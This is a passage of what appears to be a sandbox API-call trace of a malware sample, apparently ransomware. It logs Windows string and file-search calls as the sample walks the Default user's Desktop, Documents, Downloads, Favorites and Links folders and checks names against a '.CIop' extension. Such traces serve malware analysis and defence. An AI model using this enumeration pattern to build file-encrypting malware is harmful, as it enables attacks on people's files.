lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0107.626] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0107.626] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Desktop\\" | out: lpString1="C:\\Users\\Default\\Desktop\\") returned="C:\\Users\\Default\\Desktop\\" [0107.626] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Desktop\\*.*") returned="C:\\Users\\Default\\Desktop\\*.*" [0107.627] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0107.627] PathFindFileNameW (pszPath="C:\\Users\\Default\\Desktop") returned="Desktop" [0107.627] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0107.627] lstrlenW (lpString="Desktop") returned 7 [0107.627] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0107.627] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Desktop" | out: lpString1="C:\\Users\\Default\\Desktop") returned="C:\\Users\\Default\\Desktop" [0107.627] lstrcatW (in: lpString1="C:\\Users\\Default\\Desktop", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Desktop\\*.*") returned="C:\\Users\\Default\\Desktop\\*.*" [0107.627] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e7f8 [0107.627] PathFindFileNameW (pszPath="C:\\Users\\Default\\Desktop") returned="Desktop" [0107.627] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0107.627] lstrlenW (lpString="Desktop") returned 7 [0107.627] FindClose (in: hFindFile=0x67e7f8 | out: hFindFile=0x67e7f8) returned 1 [0107.627] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.627] lstrcmpW (lpString1="Documents", lpString2="..") returned 1 [0107.627] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0107.627] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.627] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.627] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0107.627] SetErrorMode (uMode=0x1) returned 0x1 [0107.627] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0107.628] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0107.628] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Documents\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0107.628] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\*.*") returned="C:\\Users\\Default\\Documents\\*.*" [0107.628] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67db78 [0107.658] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents") returned="Documents" [0107.658] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0107.658] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.658] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.658] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.658] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.658] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.658] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0107.659] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0107.659] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0107.659] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\*.*") returned="C:\\Users\\Default\\Documents\\*.*" [0107.659] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67dd78 [0107.659] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents") returned="Documents" [0107.659] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0107.660] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.660] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.660] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.660] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.660] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.660] lstrcmpW (lpString1="My Music", lpString2="..") returned 1 [0107.660] lstrcmpW (lpString1="My Music", lpString2=".") returned 1 [0107.660] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0107.660] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0107.660] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0107.660] SetErrorMode (uMode=0x1) returned 0x1 [0107.660] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0107.660] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0107.660] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Music\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0107.660] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*.*") returned="C:\\Users\\Default\\Documents\\My Music\\*.*" [0107.660] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0107.660] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Music") returned="My Music" [0107.660] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0107.660] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2="..") returned 1 [0107.660] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2=".") returned 1 [0107.660] lstrlenW (lpString=".CIop") returned 5 [0107.660] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0107.660] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.660] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.660] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0107.660] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*.*") returned="C:\\Users\\Default\\Documents\\My Music\\*.*" [0107.660] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0107.660] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Music") returned="My Music" [0107.660] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0107.660] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0107.660] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.660] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.660] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.661] lstrcmpW (lpString1="My Pictures", lpString2="..") returned 1 [0107.661] lstrcmpW (lpString1="My Pictures", lpString2=".") returned 1 [0107.661] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0107.661] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0107.661] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0107.661] SetErrorMode (uMode=0x1) returned 0x1 [0107.661] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0107.661] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0107.661] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0107.661] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*.*" [0107.661] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0107.661] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Pictures") returned="My Pictures" [0107.661] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0107.661] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2="..") returned 1 [0107.661] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2=".") returned 1 [0107.661] lstrlenW (lpString=".CIop") returned 5 [0107.661] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0107.661] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.661] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.661] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0107.661] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*.*" [0107.661] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0107.661] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Pictures") returned="My Pictures" [0107.661] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0107.661] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0107.661] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.661] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.661] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.661] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0107.661] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0107.661] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0107.661] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0107.661] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0107.661] SetErrorMode (uMode=0x1) returned 0x1 [0107.662] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0107.662] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0107.662] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0107.662] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*.*") returned="C:\\Users\\Default\\Documents\\My Videos\\*.*" [0107.662] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0107.662] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Videos") returned="My Videos" [0107.662] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0107.662] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2="..") returned 1 [0107.662] lstrcmpW (lpString1="QGtWvWHnjohYH0 tv.swf.CIop", lpString2=".") returned 1 [0107.662] lstrlenW (lpString=".CIop") returned 5 [0107.662] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0107.662] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.662] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.662] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0107.662] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*.*") returned="C:\\Users\\Default\\Documents\\My Videos\\*.*" [0107.662] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0107.662] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Videos") returned="My Videos" [0107.662] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0107.662] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0107.662] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.662] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0107.662] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.662] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0107.663] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0107.663] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.663] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0107.663] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0107.663] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.663] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.663] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0107.663] SetErrorMode (uMode=0x1) returned 0x1 [0107.663] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0107.663] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0107.663] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Downloads\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0107.663] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Downloads\\*.*") returned="C:\\Users\\Default\\Downloads\\*.*" [0107.663] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67deb8 [0107.663] PathFindFileNameW (pszPath="C:\\Users\\Default\\Downloads") returned="Downloads" [0107.663] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0107.663] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.663] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.663] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0107.663] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0107.664] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0107.664] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Downloads\\*.*") returned="C:\\Users\\Default\\Downloads\\*.*" [0107.664] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67db78 [0107.664] PathFindFileNameW (pszPath="C:\\Users\\Default\\Downloads") returned="Downloads" [0107.664] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0107.664] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.664] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.664] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.664] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.664] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.664] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0107.664] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0107.664] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.664] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0107.664] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0107.664] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.664] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.664] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0107.664] SetErrorMode (uMode=0x1) returned 0x1 [0107.664] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0107.664] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0107.664] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Favorites\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0107.664] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Favorites\\*.*") returned="C:\\Users\\Default\\Favorites\\*.*" [0107.664] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67ddb8 [0107.665] PathFindFileNameW (pszPath="C:\\Users\\Default\\Favorites") returned="Favorites" [0107.665] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0107.665] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.665] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.665] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0107.665] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0107.665] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0107.665] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Favorites\\*.*") returned="C:\\Users\\Default\\Favorites\\*.*" [0107.665] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e1f8 [0107.665] PathFindFileNameW (pszPath="C:\\Users\\Default\\Favorites") returned="Favorites" [0107.665] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0107.665] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.665] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.665] FindNextFileW (in: hFindFile=0x67e1f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.665] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.665] FindNextFileW (in: hFindFile=0x67e1f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.665] FindClose (in: hFindFile=0x67e1f8 | out: hFindFile=0x67e1f8) returned 1 [0107.665] FindClose (in: hFindFile=0x67e1f8 | out: hFindFile=0x67e1f8) returned 0 [0107.665] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.665] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0107.665] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0107.665] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0107.665] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0107.665] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0107.665] SetErrorMode (uMode=0x1) returned 0x1 [0107.666] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0107.666] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0107.666] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Links\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0107.666] lstrcatW (in: lpString1="C:\\Users\\Default\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Links\\*.*") returned="C:\\Users\\Default\\Links\\*.*" [0107.666] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67deb8 [0107.674] PathFindFileNameW (pszPath="C:\\Users\\Default\\Links") returned="Links" [0107.674] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0107.674] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.674] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.674] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0107.675] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0107.675] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0107.675] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Links\\*.*") returned="C:\\Users\\Default\\Links\\*.*" [0107.675] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67dd78 [0107.675] PathFindFileNameW (pszPath="C:\\Users\\Default\\Links") returned="Links" [0107.675] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0107.675] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.675] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.675] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: 